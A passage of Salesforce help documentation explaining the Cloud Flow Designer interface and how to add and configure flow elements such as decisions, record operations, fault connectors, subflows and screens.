Button Bar (1) Use the buttons in the button bar to save, close, undo or redo changes to, run, or view properties of your flow. The status indicator on the right side of the bar shows whether your flow is active or inactive, saved or unsaved, and whether you got any warnings or errors upon saving. You can click the notification of warnings or errors to see all of them in a list. Warnings and errors in the list are based on the state of the flow at your last save, not the present state of the flow. Save and Save As Depending on your needs, you can quick-save, save a new flow, or save a new flow version. To find out more about how save works, see Saving a Flow on page 1988. Run Runs the most recent save of the flow youre working in. If the flow contains subflow elements, each subflow runs the active version of its referenced flow. If the referenced flow has no active version, then the subflow element runs the latest version of its referenced flow.

1983

Create

Understanding the Flow Designer User Interface

Run with Latest Only appears if the open flow contains a subflow element. Runs the most recent save of the flow youre working in, and each subflow element runs the latest version of its referenced flow, even if that version is not active. Close Clicking Close from within an unsaved flow returns you to the flow list page. Clicking Close from within a saved flow returns you to the flow detail page. Undo ( ) and Redo ( ) Undo or redo recent actions on the main canvas. Copy ( ) and Paste ( ) Copy and paste selected elements on the main canvas. Click to select a single element, or click and drag to select multiple elements on the canvas. Once youve selected what you want to copy, click Copy ( can undo or redo a paste action, but not a copy. ), and then click Paste ( ). You

Note: When you copy and paste an element, the new copy has the unique name of the original, appended with _x, where x is a number. The first copy of an element has _0 appended to its unique name, and the number increments from there with subsequent copies of the same element.

Flow Properties ( ) Shows you information about your flow, such as its name, unique name, description, version, and created and modified dates. You can edit the name and description of your flow any time, but you can only change its unique name when saving it for the first time. Main Canvas (2) To move an element, drag it around the canvas. If the element is connected to a line, the line moves with it. You can connect items on the canvas by clicking the node beneath the source element and dragging and dropping a line anywhere onto a target element. To select multiple elements, either drag a square around a group or use control-click to select individual elements. Double-click any element in the main canvas to edit it. Zoom Control (3) Combined with the search options on the Explorer tab, the zoom control helps you manage large, complex flows. Explorer Tab (4) The Explorer tab is a library of all elements and resources added to the flow. Double-click items in the list to edit them. Single-click an item to view its details and usage in the Description pane. Use the Explorers search options to quickly find an element or resource in the flow. If you hover over a canvas-visible element on the Explorer, you can click its to see its location on the canvas. Resources Tab (5) The Resources tab lets you create new resources for your flow, like variables and constants. Once created, your new resources show up in the Explorer tab.

1984

Create

Creating a Flow

Palette Tab (6) The Palette tab lists all the element types available for your flow. Drag and drop elements from the palette onto the main canvas. Click an element in the palette to see its description or properties in the Description pane. Once created, your new elements show up in the Explorer tab. If your palette contains many Apex classes and flows, use the Palettes search field to quickly find what you need to add an Apex plug-in or subflow element to your flow. Description Pane (7) When viewing an item in the Palette or Resources tab, the Description pane shows the items description or details. When viewing items on the Explorer tab, the Description pane includes two subtabs: PropertiesThis subtab shows you information about the element or resource you have selected, such as its label, unique name, description, and data type. UsageThis subtab lists the elements where the selected item is used. To see where one of the listed elements is located on the canvas, hover over it and click its .

See Also:
Flow Designer Overview Editing Flow Properties Searching the Palette Searching a Flow

Creating a Flow
Available in: Enterprise, Unlimited, and Developer Editions

User Permissions Needed To open, edit, or create a flow in the Cloud Flow Designer: Manage Force.com Flow

To create a flow in the Cloud Flow Designer, go to Your Name > Setup > Create > Workflow & Approvals > Flows and click New Flow. Tips and Tricks for Creating Flows Have a draft flow in mind before you start creating your flow in the Cloud Flow Designer. If you're not sure what kind of element you need for a node in your flow, use a Step element as a placeholder until you figure it out. You can always replace it later. If you need to delete a group of elements and connectors, you can left-click and drag to select an area containing them. Then press DELETE to remove all of them at once. You can copy ( ) and paste ( ) selected elements on the canvas, too.

1985

Create

Searching the Palette

If you're new to the Cloud Flow Designer, we recommend walking through one or more of the sample flow tutorials in the Cloud Flow Designer Workbook. They're a great way to introduce yourself to the tool and discover how things work.

See Also:
Flow Designer Overview Managing Your Flows

Searching the Palette


As you add Apex classes that use the Process.Plugin interface and add more flows to your organization, it becomes more challenging to find a specific Apex class or flow within the Palette. You can, however, search the Palette to quickly find what you need to add an Apex plug-in or subflow element to your flow. Available in: Enterprise, Unlimited, and Developer Editions

User Permissions Needed To open, edit, or create a flow in the Cloud Flow Designer: Manage Force.com Flow

Open a flow in the Cloud Flow Designer. Then use the following options to find a Palette item. On the Palette tab, enter search text. The Palette displays only the items that contain the entered text. Click to filter the Palette tab contents to one type of element. and select SEARCH ALL. To remove the filter, click

See Also:
Adding and Configuring a Subflow Element Adding and Configuring an Apex Plug-in Element Understanding the Flow Designer User Interface

1986

Create

Searching a Flow

Searching a Flow
As a flow grows and becomes more complex, it becomes more challenging to find things within it. The Cloud Flow Designer offers tools for quickly finding flow elements and resources. Available in: Enterprise, Unlimited, and Developer Editions

User Permissions Needed To open, edit, or create a flow in the Cloud Flow Designer: Manage Force.com Flow

Open the flow in the Cloud Flow Designer. Then use one or more of the following options to find an element or resource in the flow. On the Explorer tab, enter search text. The Explorer tab displays only the elements and resources whose properties contain the entered text. Click to filter the Explorer tab contents to one type of element or resource. and select SEARCH ALL. To remove the filter, click

Select Highlight Results on Canvas to dim all visible elements on the canvas other than the Explorer search or filter results. Zoom in and out as desired using the controls near the top right corner of the canvas area. To see the location of an Explorer item on the canvas, complete one of the following procedures. If the Explorer item is a canvas-visible element or a screen field: 1. Hover over the item on the Explorer tab. 2. Click its . If the Explorer item is a resource that doesnt appear on the canvas: 1. Click the item on the Explorer tab. 2. Click the Usage tab in the Description pane. 3. Hover over an element listed on the Usage tab. 4. Click its . The canvas shifts to display the element and momentarily highlights it.

See Also:
Understanding the Flow Designer User Interface

1987

Create

Saving a Flow

Saving a Flow
Available in: Enterprise, Unlimited, and Developer Editions

After you've created a flow in the Cloud Flow Designer, you have a few options for saving it: Initial saveWhen you save a new flow for the first time, a dialog box appears. Enter a flow name, unique name and description. Once you save the flow, the unique name can't be changed. Note: A unique name is limited to underscores and alphanumeric characters. It must begin with a letter, not include spaces, not end with an underscore, and not contain two consecutive underscores. Quick saveAfter you've saved a flow once, the Save button works as a quick-save, overwriting your previous work. However, the Save button doesnt work when editing active flows. You must use Save As to save your changes as a new version or new flow. Save AsOnce you've saved your flow for the first time, this button is enabled, with two options: Save as new flow opens a dialog box where you can input a new name, unique name and description, then save your changes as an entirely new flow. Save as new version saves the flow you're working on as a new version of the current flow. This is a useful option if you want to make changes to a flow and keep the old configuration as a backup in case you need to refer back to it later. Each flow can have up to 10 versions. You can update the flow name and description when you save a new version, but not the unique name. When saving a flow or flow version: If you have the flow detail page open in one browser tab, then open a flow version in a new browser tab to edit it, after saving and closing it, you must refresh the first flow detail page before you can successfully run the flow version you just edited. If you've changed the flow properties and for some reason the save fails, the flow properties don't revert to the previous values.

See Also:
Flow Designer Overview

Flow Designer Elements


Available in: Enterprise, Unlimited, and Developer Editions

Elements are the building blocks of flows. Each element represents an action, such as presenting information to, or collecting information from, flow users, or even querying, creating, updating, and deleting information in Salesforce. By connecting

1988

Create

Flow Designer Elements

elements together in the Flow Designer, you can create a flow, which is a series of screens, inputs, and outputs through which users navigate. The following elements are available in the Cloud Flow Designer: Step Screen Decision Assignment Record Create Record Update Record Lookup Record Delete Subflows Apex Plug-In Connector Note: Every time you add an element or resource to a flow, it's also added to the Explorer Tab.

See Also:
Flow Designer Overview

Adding and Configuring an Apex Plug-in Element


Available in: Enterprise, Unlimited, and Developer Editions

User Permissions Needed To open, edit, or create a flow in the Cloud Flow Designer: Manage Force.com Flow

The Apex Plug-in element represents a piece of Apex code that you can include in a flow. It lets you call an Apex class with the Process.Plugin interface and pass data between your organization and a flow. When you open it, the Cloud Flow Designer discovers any Process.Plugin classes you created and displays them as elements on the Palette. Select a plug-in on the Palette to view its tag, class name, inputs, and outputs in the Description pane. Required inputs are listed with an asterisk (*). Important: Before you can use an Apex Plug-in element in a flow, you must first write the Apex class that implements the interface. Be sure your describe method is implemented correctly so the Flow Designer can pull the input and output information. For more information about how to do that, see Using the Process.Plugin Interface in the Force.com Apex Code Developer's Guide To add or configure an Apex Plug-in element:

1989

Create

Flow Designer Elements

1. Go to Your Name > Setup > Create > Workflow & Approvals > Flows and open a new or existing flow. 2. From the Palette, drag an Apex Plug-in element onto the canvas. The class name and plug-in description are taken from the plug-in code. 3. Enter a name for your new plug-in element. 4. If necessary, enter a different unique name. Note: The requirement for uniqueness applies only to elements within the current flow. Two elements can have the same unique name, provided they are used in different flows. A unique name is limited to underscores and alphanumeric characters. It must begin with a letter, not include spaces, not end with an underscore, and not contain two consecutive underscores. 5. If you havent already added a description, click Add Description to do so. 6. On the Inputs tab, assign values to the Apex parameters. Required parameters are automatically listed as targets. Click Add Row to set an optional parameter. Click a row. Column Header
Target Source

to remove

Description Apex parameter whose value you want to set. Value to assign to the Apex parameter. Options: Select an existing flow resource, such as a variable, constant, or user input. Select CREATE NEW to create a new flow resource. Manually enter a literal value or merge field. If you manually enter a date, you must use the MM/DD/YYYY format.

7. On the Outputs tab, assign values from Apex parameters to variables in the flow. Click Add Row to enter more output assignments. Click Column Header
Source Target

to remove a row.

Description Apex parameter whose value you want to get. Select an existing flow variable, or select CREATE NEW to create a new variable.

8. Click OK.

1990

Create

Flow Designer Elements

Note: If the Apex plug-in fails for some reason, the fault connector path will be taken if youve defined one.

See Also:
Flow Apex Plug-ins Overview Fault Connector Overview Searching the Palette Flow Designer Elements Flow Designer Overview

Flow Apex Plug-ins Overview


Available in: Enterprise, Unlimited, and Developer Editions

The Apex Plug-in element represents a piece of Apex code that you can use to pass data between your organization and a flow. When using Apex plug-ins in a flow: Add a tag string to your Apex plug-in to group your plug-ins in the Flow Designer Palette. If you don't add a tag string to a plug-in, it shows up at the root level of the Apex Plug-ins section. Apex primitive data types Blob and Time aren't supported for flow plug-ins. If you don't provide a name for your plug-in, it displays in the Palette using the class name. If you make code changes to an Apex plug-in while the Cloud Flow Designer is open, you won't see the changes in the plug-in elements until you close and re-open the Designer.

See Also:
Adding and Configuring an Apex Plug-in Element Flow Designer Elements Flow Designer Overview

1991

Create

Flow Designer Elements

Adding and Configuring an Assignment Element


Available in: Enterprise, Unlimited, and Developer Editions

User Permissions Needed To open, edit, or create a flow in the Cloud Flow Designer: Manage Force.com Flow

Use the Assignment element to make changes to the value of a variable. For example, you could dynamically change the value of a customer's credit score depending on how they answer certain questions in the flow. 1. Go to Your Name > Setup > Create > Workflow & Approvals > Flows and open a new or existing flow. 2. From the Palette, drag the Assignment element onto the canvas. 3. Enter a Name and Unique Name for the element. Note: The requirement for uniqueness applies only to elements within the current flow. Two elements can have the same unique name, provided they are used in different flows. A unique name is limited to underscores and alphanumeric characters. It must begin with a letter, not include spaces, not end with an underscore, and not contain two consecutive underscores. 4. If you havent already added a description, click Add Description to do so. 5. In the Assignments section, select the variable you want to change. If you havent created the variable yet, you can do that by expanding the CREATE NEW section of the drop-down list. 6. Select an operator. 7. Enter a value or select an element to adjust the variable you selected. Use the CREATE NEW section of the drop-down list to create new resources, if necessary. Note: When you add or subtract a number from a date value, the date adjusts in days, not hours.

8. Click Add Assignment to add another line. Click and drag assignment line items to reorder them. 9. Click to remove a line. 10. Click OK to accept your changes or Cancel to discard them. Note: Every time you add an element or resource to a flow, it's also added to the Explorer Tab.

See Also:
Flow Designer Elements Flow Designer Overview

1992

Create

Flow Designer Elements

Connector Element Overview


Available in: Enterprise, Unlimited, and Developer Editions

Connectors control how the flow is executed and are represented as arrows on the Flow Designer canvas. Adding and Deleting Connectors To add a connector between flow elements, click the node beneath the source element and drag and drop a line anywhere onto a target element. To delete a connector, select it and press the DELETE key. If the source element has defined outcomes, when you drop the connector onto its destination, you must select which outcome to assign to the path. Tip: When you select a connector, its color changes from gray to green. You might find it easier to select a connector by clicking and dragging an area on the canvas that includes both ends of the connector.

Connector Properties and Expected Behavior When you click and drag an element around the canvas, each end of the connector stays stuck to its element and stretches to accommodate the new element position. If you move the element into a new position in the flow, you must manually adjust any connections and outcomes. Deleting a connector doesn't delete the outcome associated with it, but deleting an element's outcome does delete the associated connector. Only Decisions, Steps and data elements can have more than one outgoing connector. Some elements also support an outgoing fault connector. The source and destination elements for a connector can't be the same.

See Also:
Fault Connector Overview Flow Designer Elements Flow Designer Overview

Fault Connector Overview


While a connector element determines the normal path of flow execution, a fault connector is executed at runtime only when its source element results in an error. Available in: Enterprise, Unlimited, and Developer Editions

A fault connector can have any target element but only the following source elements: Apex Plug-In

1993

Create

Flow Designer Elements

Record Create Record Update Record Lookup Record Delete

By default, if executing one of these elements results in an error, the flow displays a generic error message to the flow user. Also, the user cant proceed with the flow. Use fault connectors to gracefully handle such errors. For example: Suppose an Apex plug-in element calls an external Web service to validate user-entered addresses. If the Web service call fails for any reason, the flow can proceed along the fault connector to a screen where the user can verify the entered address, make any corrections, and proceed with the flow. If the flow is used only internally, for example by call center users, each fault connectors target screen can display a system fault message that flow users can give to the IT department. For example, you can set up a Display Text field on the screen as follows:
Sorry, but you cant update records at this time. Please open a case with IT, and include the following error message: {!$Flow.FaultMessage}

You can ignore the errors completely, and have the flow proceed along the normal path. To do this, add a fault connector on top of the connector element.

Add and delete a fault connector just as you would add and delete a connector element, only you need to add the connector element first. The connector element properties and expected behavior also apply to fault connectors.

See Also:
Connector Element Overview Flow Designer Elements

Adding and Configuring a Decision Element


Available in: Enterprise, Unlimited, and Developer Editions

User Permissions Needed To open, edit, or create a flow in the Cloud Flow Designer: Manage Force.com Flow

Use the Decision element to evaluate a set of conditions and route users through the flow based on the outcomes of those conditions. You can use a Decision element to drive your flow without explicit end-user input. For example: In a customer self-help portal, a Decision element could determine whether a customer is given a return shipping address and information (because an item is definitely faulty), or given information on how to resolve their problem themselves. Within a banking flow, a Decision element could determine if a customer should be offered a loan or not (based on results of a credit scoring formula).

1994

Create

Flow Designer Elements

Tip: If you ask a user to make a choice, for example with a drop-down list choice field on a screen, you can add a Decision element after the Screen element to create the branches of the flow based on the choice options. Represent each choice option in your Decision element and connect it to a branch of your flow. To add or configure a Decision element: 1. Go to Your Name > Setup > Create > Workflow & Approvals > Flows and open a new or existing flow. 2. From the Palette, drag the Decision element onto the canvas. 3. Enter a Name and Unique Name for the Decision. The requirement for uniqueness applies only to elements within the current flow. Two elements can have the same unique name, provided they are used in different flows. A unique name is limited to underscores and alphanumeric characters. It must begin with a letter, not include spaces, not end with an underscore, and not contain two consecutive underscores. 4. If you havent already added a description, click Add Description to do so. 5. Create the outcomes for the decision: a. Enter a Name and Unique Name for the first outcome. b. Set up the conditions for the outcome. You can expand the CREATE NEW section of the Resource or Value drop-down list to create new resources, if necessary. Note: Two operators are unique to the Cloud Flow Designer. Depending on the type of Resource you select, you might see these in the Operator list: was selectedAvailable only for choices. Lets you track whether a specific choice on a screen was selected by the user. To learn more about how was selected works, see Visual Workflow Considerations on page 2026. was visitedAvailable for any main canvas element. Lets you track whether an element in the flow was visited by the user.

Selecting either of these operators makes the Value of the condition statement Boolean. You can then set the Value to true or false by clicking the arrow button, expanding the GLOBAL CONSTANT section, and selecting either $GlobalConstant.True or $GlobalConstant.False. For more information, see Global Constants Overview on page 2024. c. Click Add Condition to add another condition or click to remove a condition. At runtime, the conditions are evaluated in the order you specify. d. Choose under which conditions the outcome evaluates to true: All conditions must be true (AND)The outcome will evaluate to true overall if all the conditions you specified evaluate to true. One condition must be true (OR)The outcome will evaluate to true overall if at least one of the conditions you specified evaluates to true.

6. Click Add Outcome to add more outcomes. You can drag outcomes up and down to reorder them. 7. Click [Default Outcome] to set up a path to which users will be routed if none of the other outcome conditions are met. 8. Click OK to accept your changes or Cancel to discard them.

1995

Create

Flow Designer Elements

When youre done setting up your outcomes, you can then draw connectors from your Decision element to other elements on the canvas and assign an outcome to each connector.

See Also:
Flow Designer Elements Flow Designer Overview

Adding and Configuring a Record Create Element


Available in: Enterprise, Unlimited, and Developer Editions

User Permissions Needed To open, edit, or create a flow in the Cloud Flow Designer: Manage Force.com Flow

Use the Record Create element to create a new record in Salesforce using values from your flow. For example, you could capture the name and address that a user enters into the flow, use the Record Lookup element to see if they exist in Salesforce, and if they don't, use the Record Create element to create a new record for that user. 1. Go to Your Name > Setup > Create > Workflow & Approvals > Flows and open a new or existing flow. 2. From the Palette, drag the Record Create element onto the canvas. 3. Enter a Name and Unique Name for the element. Note: The requirement for uniqueness applies only to elements within the current flow. Two elements can have the same unique name, provided they are used in different flows. A unique name is limited to underscores and alphanumeric characters. It must begin with a letter, not include spaces, not end with an underscore, and not contain two consecutive underscores. 4. If you havent already added a description, click Add Description to do so. 5. Select the object for which you want to create a record. 6. Select the field or fields from the object that you want to populate, then assign a value or resource to the field. The data types must match. In the Value column, you can manually enter literal or merge field values. You can also select pre-defined flow values (from variables, constants or user inputs, for example). Use the CREATE NEW section of the drop-down list to create new resources, if necessary. When entering a date value, you must use the MM/DD/YYYY format. 7. Click Add Row to set the value of another field. 8. Click to remove a line. 9. Optionally, assign the new record's ID to a variable so you can use it or refer to it later in the flow. The variable you choose must be of type text. If you havent created the variable yet, you can do that by expanding the CREATE NEW section of the drop-down list. 10. Click OK to accept your changes or Cancel to discard them.

1996

Create

Flow Designer Elements

Important: Check your object definition to ensure that all required fields are populated with values; otherwise the record create will fail at runtime. If the record create does fail, the fault connector path will be taken if youve defined one.

See Also:
Flow Designer Elements Flow Designer Overview Fault Connector Overview

Adding and Configuring a Record Lookup Element


Available in: Enterprise, Unlimited, and Developer Editions

User Permissions Needed To open, edit, or create a flow in the Cloud Flow Designer: Manage Force.com Flow

Use a Record Lookup element to find a Salesforce record and store the values from its fields into your flow. For example, you could use a Record Lookup element to: Input (or read) a bar code from a product tag and use the code to read data from the database to find out the product name or description. Look up item details to check for stock availability. Look up a customer record to verify a caller's identity.

To add and configure a Record Lookup element: 1. Go to Your Name > Setup > Create > Workflow & Approvals > Flows and open a new or existing flow. 2. From the Palette, drag the Record Lookup element onto the canvas. 3. Enter the general settings for the element. Field
Name Unique Name

Description Helps you identify the element on the canvas. The requirement for uniqueness applies only to elements within the current flow. Two elements can have the same unique name, provided they are used in different flows. A unique name is limited to underscores and alphanumeric characters. It must begin with a letter, not include spaces, not end with an underscore, and not contain two consecutive underscores. Appears after you click Add Description.

Description

4. Select the object to identify which record type to look up. 5. Specify the filter criteria for selecting the record from the database.

1997

Create

Flow Designer Elements

Click Add Row to enter more filters. Click Column Header


Field Operator Value

to remove a row.

Description Field for filtering records. The available filter operators depend on the data type selected for the Field and Value. The Field and Value in the same row must have the same data type. Options: Select an existing flow resource, such as a variable, constant, or user input. Select CREATE NEW to create a new flow resource. Manually enter a literal value or merge field. If you manually enter a date, you must use the MM/DD/YYYY format.

Make sure your filter criteria sufficiently narrows the search. The Record Lookup element ultimately returns only the first record from the filtered results, which arent retrieved from the database in any particular order. 6. To sort the filtered results before the first record is selected: a. Select Sort results by. b. Select the field to sort by. Only sortable fields appear in the drop-down list. c. Select the sort order, either ascending or descending. 7. Assign the values of fields in the returned record to variables in the flow. Click Add Row to enter more field assignments. Click Column Header
Field Variable

to remove a row.

Description Records field whose value you want to assign to a variable. Select an existing flow variable, or select CREATE NEW to create a new variable.

8. Click OK. Note: If the record lookup fails for some reason, the fault connector path will be taken if youve defined one.

See Also:
Flow Designer Elements Flow Designer Overview Fault Connector Overview

1998

Create

Flow Designer Elements

Adding and Configuring a Record Update Element


Available in: Enterprise, Unlimited, and Developer Editions

User Permissions Needed To open, edit, or create a flow in the Cloud Flow Designer: Manage Force.com Flow

Use a Record Update element to update a set of records in Salesforce with variable, constant, input, or other values from your flow. You can update a single record, or multiple records, depending on how you set your filter criteria. If you're using flows in a call center, for example, you can use a Record Update element to automatically update Salesforce with data collected from callers, such as new addresses, phone numbers, or product preferences. 1. Go to Your Name > Setup > Create > Workflow & Approvals > Flows and open a new or existing flow. 2. From the Palette, drag the Record Update element onto the canvas. 3. Enter a Name and Unique Name for the element. Note: The requirement for uniqueness applies only to elements within the current flow. Two elements can have the same unique name, provided they are used in different flows. A unique name is limited to underscores and alphanumeric characters. It must begin with a letter, not include spaces, not end with an underscore, and not contain two consecutive underscores. 4. If you havent already added a description, click Add Description to do so. 5. Select the object for which you want to update a record. 6. Set criteria to select which records get updated. The data types of the values in the Field and Value columns must match. In the Value column, you can manually enter literal or merge field values. You can also select pre-defined flow values (from variables, constants or user inputs, for example). Use the CREATE NEW section of the drop-down list to create new resources, if necessary. When entering a date value, you must use the MM/DD/YYYY format. Important: You must configure at least one filter, or you will update all the records for the object.

7. Click Add Row to add another filter. 8. Click to remove a line. 9. Update record fields with values from your flow: a. Select a field on the record that you want to update. b. Select a value from your flow (like a variable, constant or user input, for example) that you want to assign to the record's field. Use the CREATE NEW section of the drop-down list to create new resources, if necessary. c. Click Add Row to update another field. d. Click to remove a field.

10. Click OK to accept your changes or Cancel to discard them.

1999

Create

Flow Designer Elements

Note: If the record update fails for some reason, the fault connector path will be taken if youve defined one.

See Also:
Flow Designer Elements Adding and Configuring a Formula Flow Designer Overview Fault Connector Overview

Adding and Configuring a Record Delete Element


Available in: Enterprise, Unlimited, and Developer Editions

User Permissions Needed To open, edit, or create a flow in the Cloud Flow Designer: Manage Force.com Flow

Use a Record Delete element to delete records in Salesforce. You can delete a single record or multiple records, depending on how you set your filter criteria. 1. Go to Your Name > Setup > Create > Workflow & Approvals > Flows and open a new or existing flow. 2. From the Palette, drag the Record Delete element onto the canvas. 3. Enter a Name and Unique Name for the element. Note: The requirement for uniqueness applies only to elements within the current flow. Two elements can have the same unique name, provided they are used in different flows. A unique name is limited to underscores and alphanumeric characters. It must begin with a letter, not include spaces, not end with an underscore, and not contain two consecutive underscores. 4. If you havent already added a description, click Add Description to do so. 5. Select the object whose records you want to delete. 6. Add rows of filter criteria to determine which records will be deleted. You must configure at least one filter. In the Value column, you can manually enter literal or merge field values. You can also select pre-defined flow values (from variables, constants or user inputs, for example). Use the CREATE NEW section of the drop-down list to create new resources, if necessary. When entering a date value, you must use the MM/DD/YYYY format. 7. Click Add Row to add another filter. 8. Click to remove a line. 9. Click OK to accept your changes or Cancel to discard them. Warning: Things to note when using a Record Delete element: Be careful when testing flows that contain Record Delete elements. Even if the flow is inactive, running it will trigger the delete operation.

2000

Create

Flow Designer Elements

To prevent deleting records by mistake, be as specific in your filter criteria as possible. Records are deleted from your organization the moment the flow executes the Record Delete element. Deleted records are sent to the Recycle Bin and remain there for 15 days before they are permanently deleted.

Note: If the record delete fails for some reason, the fault connector path will be taken if youve defined one.

See Also:
Flow Designer Elements Flow Designer Overview Fault Connector Overview

Subflows Overview
Reduce the complexity of your flow by reusing other flows. Available in: Enterprise, Unlimited, and Developer Editions

A subflow element references another flow and calls that flow at runtime. When a flow contains a subflow element, we call it the master flow to distinguish it from the referenced flow. With subflows, you can simplify your overall flow architecture. Build reusable flows to perform common tasks. For example, you can build reusable flows to capture address and credit card information, and authorize a credit card purchase amount. Then you can have multiple product-ordering flows call the reusable flows as needed. At runtime, the master flow calls the active version of each referenced flow by default. If a referenced flow has no active version, then the master flow calls the latest version of the referenced flow. To run only the latest version of each referenced flow, use one of the following methods: Open the master flow in the Cloud Flow Designer, and click Run with Latest in the button bar. Run the master flow from the flow URL appended with ?latestSub=true. Note: Only flow administrators can run inactive flows. For other users, the flow will fail at runtime if a subflow element tries to call a flow with no active version. The Palette lists the other flows in your organization. If you select a flow in the Palette, the following information appears in the Description pane: The flows unique name and description. The version of the flow that would be called by default at runtime. The flow versions variables that are available for input or output assignments.

2001

Create

Flow Designer Elements

From a subflow element, you can only assign values to or from the referenced flows variables that allow input/output access. This access is determined by the Input/Output Type of the variable. If you need to change the variables Input/Output Type, open the referenced flow to edit the variable.

See Also:
Adding and Configuring a Subflow Element Putting Flows to Work Adding and Configuring a Variable

Adding and Configuring a Subflow Element


Use a subflow element to have the flow call another flow at runtime. Available in: Enterprise, Unlimited, and Developer Editions

User Permissions Needed To open, edit, or create a flow in the Cloud Flow Designer: Manage Force.com Flow

Before you begin, create or install the other flow that you want to call. A subflow element references another flow and calls that flow at runtime. When a flow contains a subflow element, we call it the master flow to distinguish it from the referenced flow. Use subflow input and output assignments to transfer data between the master flow and the referenced flow. 1. Click Your Name > Setup > Create > Workflow & Approvals > Flows and open a new or existing flow. 2. From the Palette, drag the flow that you want to call onto the canvas. 3. Enter the general settings for the subflow element. Field
Name Unique Name

Description Helps you identify the element on the canvas. The requirement for uniqueness applies only to elements within the current flow. Two elements can have the same unique name, provided they are used in different flows. A unique name is limited to underscores and alphanumeric characters. It must begin with a letter, not include spaces, not end with an underscore, and not contain two consecutive underscores. Appears after you click Add Description.

Description

4. On the Inputs tab, assign values to variables in the referenced flow. These variable assignments occur when the master flow calls the referenced flow at runtime. Click Add Row to enter more variable assignments. Click to remove a row.

2002

Create

Flow Designer Elements

Column Header
Target

Description Referenced flows variable whose value you want to set. By default, the subflow overlays drop-down lists for selecting the referenced flows variables are populated with the variables of the currently active version of the referenced flow. If the referenced flow has no active version, the drop-down lists are populated with the variables of the latest version of the referenced flow. You can, however, view or select from the inputs and outputs of other versions of the referenced flow.

Source

Master flows resource or value to assign to the target. Options: Select an existing flow resource, such as a variable, constant, or user input. Select CREATE NEW to create a new flow resource. Manually enter a literal value or merge field. If you manually enter a date, you must use the MM/DD/YYYY format.

5. On the Outputs tab, assign values from the referenced flows variables to the master flows variables. These variable assignments occur when the referenced flow finishes running. Click Add Row to enter more variable assignments. Click Column Header
Source

to remove a row.

Description Referenced flows variable whose value you want to assign to the target. By default, the subflow overlays drop-down lists for selecting the referenced flows variables are populated with the variables of the currently active version of the referenced flow. If the referenced flow has no active version, the drop-down lists are populated with the variables of the latest version of the referenced flow. You can, however, view or select from the inputs and outputs of other versions of the referenced flow.

Target

Master flows variable whose value you want to set.

6. Click OK.

See Also:
Subflows Overview Viewing Inputs and Outputs of Other Referenced Flow Versions Searching the Palette

2003

Create

Flow Designer Elements

Viewing Inputs and Outputs of Other Referenced Flow Versions


While configuring a subflow element, you can view the variables of a specified version of the referenced flow. Available in: Enterprise, Unlimited, and Developer Editions

User Permissions Needed To open, edit, or create a flow in the Cloud Flow Designer: Manage Force.com Flow

Before you begin, add a subflow element to your flow. From a subflow element, you can only assign values to or from the referenced flows variables that allow input/output access. This access is determined by the Input/Output Type of the variable. If you need to change the variables Input/Output Type, open the referenced flow to edit the variable. By default, the subflow overlays drop-down lists for selecting the referenced flows variables are populated with the variables of the currently active version of the referenced flow. If the referenced flow has no active version, the drop-down lists are populated with the variables of the latest version of the referenced flow. If you want to populate the drop-down lists with the variables of another version of the referenced flow, or if you just want to view the descriptions of the referenced flows variables, complete the following steps. 1. On the subflow overlay, expand the Input/Output Variable Assignments section. 2. Click View input/output of other versions. 3. Use one or more of the following options in the Select Version of Referenced Flow overlay. Option Select a Version number in the left pane. Select the Inputs tab or the Outputs tab. Description The Inputs and Outputs tabs display the variables in the selected version of the referenced flow. The tab displays: The variables available for input or output assignment in the selected Version of the referenced flow. The data type of each variable. The description, if any, of each variable. The subflow overlays drop-down lists for selecting the referenced flows variables are populated with the variables of the selected Version of the referenced flow.

Click OK.

When you configure subflow input and output assignments, you can specify variables from any version of the referenced flow. This enables you to develop both the master flow and referenced flow in parallel, while keeping another version of the referenced flow active for its users. When you save the master flow, however, the subflow validations are performed only against the currently active versionor if there is no active version, then against the latest versionof the referenced flow. You may see informational validation messages about the variables that couldnt be found or that were configured differently in the referenced

2004

Create

Flow Designer Elements

flow, but those messages wont block you from saving the flow. Nevertheless, be sure to resolve all validation errors before you activate the master flow.

See Also:
Adding and Configuring a Subflow Element Subflows Overview

Adding and Configuring a Screen Element


Available in: Enterprise, Unlimited, and Developer Editions

User Permissions Needed To open, edit, or create a flow in the Cloud Flow Designer: Manage Force.com Flow

The Screen element can be used to set up a form to capture user input, provide choice selections, and display information to your users. 1. 2. 3. 4. Go to Your Name > Setup > Create > Workflow & Approvals > Flows and open a new or existing flow. From the Palette tab, drag the Screen element onto the canvas. Set up your Screen by configuring fields on the General Info, Add a Field, and Field Settings tabs. Click OK to accept your changes or Cancel to discard them. Note: Every time you add an element or resource to a flow, it's also added to the Explorer Tab.

As you progress through the Screen overlay, you can see a preview of what you're building in the right pane.

See Also:
Adding and Configuring a Dynamic Choice Flow Designer Elements Flow Designer Overview

2005

Create

Flow Designer Elements

Configuring the Screen Element's General Info Tab


Available in: Enterprise, Unlimited, and Developer Editions

User Permissions Needed To open, edit, or create a flow in the Cloud Flow Designer: Manage Force.com Flow

The Screen element overlay in the Flow Designer has three tabs: General Info, Add a Field, and Field Settings. To configure the General Info tab: 1. Enter the general settings for the screen element. Field
Name Unique Name

Description Helps you identify the element on the canvas. Automatically populated if empty when you fill out the Name field and press TAB. The requirement for uniqueness applies only to elements within the current flow. Two elements can have the same unique name, provided they are used in different flows. A unique name is limited to underscores and alphanumeric characters. It must begin with a letter, not include spaces, not end with an underscore, and not contain two consecutive underscores.

Description Navigation Options

Appears after you click Add Description. At runtime, the system automatically determines which of the Next, Previous, and Finish buttons are relevant for the screen, depending on whether there are any preceding or following screens in the flow path. You can use this field to restrict the screen from displaying either the Previous or Finish button. Options: No navigation restrictions(Default) The system displays all relevant navigation buttons on the screen. Dont show Previous buttonSelect this option if revisiting the previous screen triggers an action that musn't be repeated, such as a credit card transaction. Dont show Finish buttonSelect this option if you need the user to go back to a previous screen to continue or complete the flow. For example, suppose the flow prompts the user to enter information to identify an existing contact. The flow then looks up the user-entered info in the database. If no matching contact is found, the flow displays a screen whose sole purpose is to tell the user to go back and try again. That screen shouldnt offer a Finish button to the user.

2. To provide flow users with help for the screen: a. Click the arrow to expand the Help Text section.

2006

Create

Flow Designer Elements

b. Enter the text that you want flow users to see when they click Help for this form. c. Optionally: Use the drop-down menu to add merge fields to your help text. Click to switch between the plain text editor and the rich text editor. Using the rich text editor saves the content as HTML.

See Also:
Flow Designer Elements Flow Designer Overview

Using the Screen Element's Add A Field Tab


Available in: Enterprise, Unlimited, and Developer Editions

